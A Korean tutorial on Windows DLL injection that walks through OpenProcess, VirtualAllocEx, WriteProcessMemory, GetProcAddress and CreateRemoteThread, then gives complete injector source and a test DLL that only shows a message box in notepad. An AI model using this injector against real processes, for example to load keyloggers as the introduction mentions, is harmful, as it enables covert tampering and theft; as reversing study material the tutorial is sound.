개념 설명
실행한 프로그램에 해당 프로그램이 정상적으로 불러오는 dll이 아닌 악의적 dll을 불러오게 함으로써 키로거 같은 악의적인 공격이 가능해진다.
좀 더 자세히 설명하면 notepad 같은 프로그램을 실행 했을 때 정상적으로 사용을 위해 불러오는 dll이 아닌 악의적인 dll을 LoadLibrary를 해서 삽입하는 기법이다.
한줄 요약
프로세스에 고의적으로 특정 dll을 로드시키도록 하는 기법
실습
DLL Injection에 사용된 API
(api 이름을 클릭하면 자세히 볼수 있습니다.)
OpenProcess
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
dwDesiredAcess : process access rights
bInheritHandle : If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
dwProcessId : 적용할 PID
해당 api는 코드 가장 처음에 나오는 api이다. dwProcessId에 작성된 PID의 HANDLE 값을 가져와 주는 함수로 여기서는 injection할 대상의 pid 값을 입력해주면 된다. dwDesiredAccess 같은 경우엔 PROCESS_ALL_ACCESS 권한을 주어 모든 권한을 가져올 수 있다.
VirtualAllocEx
LPVOID VirtualAllocEx( HANDLE hProcess, // LPVOID lpAddress, // SIZE_T dwSize, // DWORD flAllocationType, // DWORD flProtect // );
hProcess : 메모리를 할당할 프로세스
lpAddress : 할당을 원하는 메모리 영역의 시작주소(NULL시 자동할당)
dwSize : 할당할 메모리의 영역의 크기
flAllocationType : 메모리 할당 유형
- MEM_COMMIT : 0x00001000
- MEM_RESERVE : 0x00002000)
flProtect : 메모리 보호 지정
다양한 옵션이 있으며 우리는 읽고 쓸 수 있어야 하므로 PAGE_READWRITE 옵션을 적용하면 된다.
해당 주소에서 자세한 옵셥값들을 확인할 수 있다.
한 단계의 페이지 예약 및 커밋 호출 하고 VirtualAllocEx을 함께 MEM_COMMIT | MEM_RESERVE. 전체 범위가 이미 예약되어 있지 않으면 MEM_RESERVE 없이 MEM_COMMIT 를 지정 하고 NULL 이 아닌 lpAddress 를 지정하여 특정 주소 범위를 커밋하려는 시도는 실패한다. 결과 오류 코드는 ERROR_INVALID_ADDRESS 이다. 이미 커밋 된 페이지를 커밋하려고 시도해도 함수가 실패하지 않는다. 즉, 각 페이지의 현재 커밋 상태를 먼저 확인하지 않고도 페이지를 커밋 할 수 있다. lpAddress 가 enclave 내의 주소를 지정하는 경우 flAllocationType 은 MEM_COMMIT 여야한다. 함수가 성공하면 반환 값은 할당 된 페이지 영역의 주소이다.
인젝션할 PID의 핸들을 구했으니 이제 해당 프로세스의 메모리 공간에서 우리가 쓸 공간을 할당 받아야한다.
그때 사용하는 함수가 VirtualAllocEx로 해당 프로세스의 가상 메모리 영역을 할당 받는다. 이 영역에 injection할 dll이 존재하는 경로를 쓸 것이다.
WriteProcessMemory
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
hProcess : 적용할 process
lpBaseAddress : 쓸 메모리 주소
lpBuffer : 쓸 내용이 담긴 버퍼 주소
nSize : 버퍼의 크기
*lpNumberOfBytesWritten : A pointer to a variable that receives the number of bytes transferred into the specified process. This parameter is optional. If lpNumberOfBytesWritten is NULL, the parameter is ignored.
VirtualAllocEx에서 할당받은 메모리에 injection할 dll 파일의 경로를 작성해준다.
GetModuleHandleW
HMODULE GetModuleHandleW( LPCWSTR lpModuleName );
lpModuleName : 모듈을 가져올 dll이나 exe 파일의 이름을 입력
lpModuleName에 작성한 모듈값을 가져온다.
여기서는 kernel32.dll의 모듈값을 가져온다.
GetProcAddress
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
hModule : lpProcName에 입력한 라이브러리의 주소값을 가져올 모듈
lpProcName : 가져올 라이브러리 이름
모듈값을 불러온 이유는 GetProcAddress를 통해서 내가 원하는 라이브러리를 가져오기 위함이다.
우리는 LoadlibraryW 사용하기 위해 이 함수를 사용한다.
LoadLibraryW
HMODULE LoadLibraryW( LPCWSTR lpLibFileName );
lpLibFileName : 로드할 파일 이름
이 함수를 이용해서 우리가 원하는 dll 파일을 인젝션할 파일에 load 시킬 것이다.
CreateRemoteThread()
- DLL Injection 을 할때 많이 사용하는 방법이 CreateRemoteThread() API를 사용하는 것이다.
- 윈도우는 CreateRemoteThread() API를 통하여 다른 프로세스에 스레드를 쉽게 생성할 수 있는 방법을 제공한다
함수의 원형
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
- hProcess : 프로세스의 핸들을 넣는다.
- lpStartAddress : 호출할 주소를 넣는다.
- lpParameter : 호출할 주소에 넘길 파라미터값을 넣는다.
dll injection에 사용하기 위해 넣어줄 값
- hProcess : DLL Injection 대상 프로세스 핸들
- lpStartAddress : LoadLibrary() 의 주소.
- lpParameter : 대상 프로세스 메모리에 인젝션할 DLL을 기록한 주소.
가장 유연성이 뛰어난 DLL 인젝션 기법 중 하나로 꼽히고 있다. DLL 인젝션에서는 CreateRemoteThread() API를 활용하여서 DLL 인젝션을 할 대상의 프로세스가 LoadLibrary() 함수를 사용하여 DLL을 호출하게 만들어준다.
앞에서 OpenProcess → VirtualAllocEx →WriteProcessMemory를 한 이유는 바로 이 CreateRemoteThread에 넣어줄 값을 구하기 위한 과정이였다. 그리고 실질적으로 사용하고 싶었던 GetModuleHandleW → GetProcAddress를 통해 구한 LoadLibrary 값을 넣어줌으로써 dll injection은 완성된다.
사용된 코드
// 해당 소스코드는 리버싱 핵심원리를 참고했습니다.
#include <Windows.h>
#include <tchar.h>
// 유니코드 호환을 위해 사용
int _tmain(int argc, TCHAR* argv[])
{
if (argc != 3)
{
_tprintf(L"USAGE : %s pid dll_path\n", argv[0]);
return 1;
}
DWORD dwPID = (DWORD)_tstol(argv[1]);
LPCTSTR szDllPath = argv[2];
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. dwPID를 이용하여 대상 프로세스의 HANDLE을 구한다.
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
// #2. 대상 프로세스 메모리에 szDllPath 크기만큼 메모리를 할당한다.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
// #3. 할당 받은 메모리에 dll 경로를 쓴다.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// #4. LoadLibraryW() API 주소를 구한다.
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// #5. 프로세스에 스레드를 실행
hThread = CreateRemoteThread(
hProcess, //hProcess
NULL, // lpThreadAttributes
0, // dwStackSize
pThreadProc, // lpStartAddreass
pRemoteBuf, // lpParameter
0, // dwCreationFlags
NULL); // lpThreadId
WaitForSingleObject(hThread, INFINITE);;
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
DLL 파일
// process에 attach시 messagebox가 뜨는 간단한 dll 파일
// 64bit 파일에 attach하기 위해서는 dll도 64bit로 빌드 해주어야 한다.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success", L"dll inject", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
참고
- 32bit 환경에서 실행 할시에는 모든 환경을 32bit로 맞춰줘야하며 64bit 환경에서는 64bit로 맞춰줘야 한다.Ex) window 10에서 64bit 프로그램을 dll injection할 경우에는 64비트로 컴파일 해주고 dll 파일 또한 64bit로 해주면 된다.
- cmd는 관리자 권한으로 열어야한다.
- LoadLibraryA/LoadLibraryW, GetModuleHandleA/GetModuleHandleW 등, A 와 W 무엇을 써야 할지 잘 모르시는 분들은 무난하게 W를 쓰시면 된다고 생각하면 된다.W : 유니코드 환경 / A : Ansi 환경
- 필자는Windows 10 Pro(x64)에서 진행했으며 notepad(64bit)를 대상으로 진행했다. 따라서 소스코드도 64bit, dll도 64bit로 맞춰서 진행했다.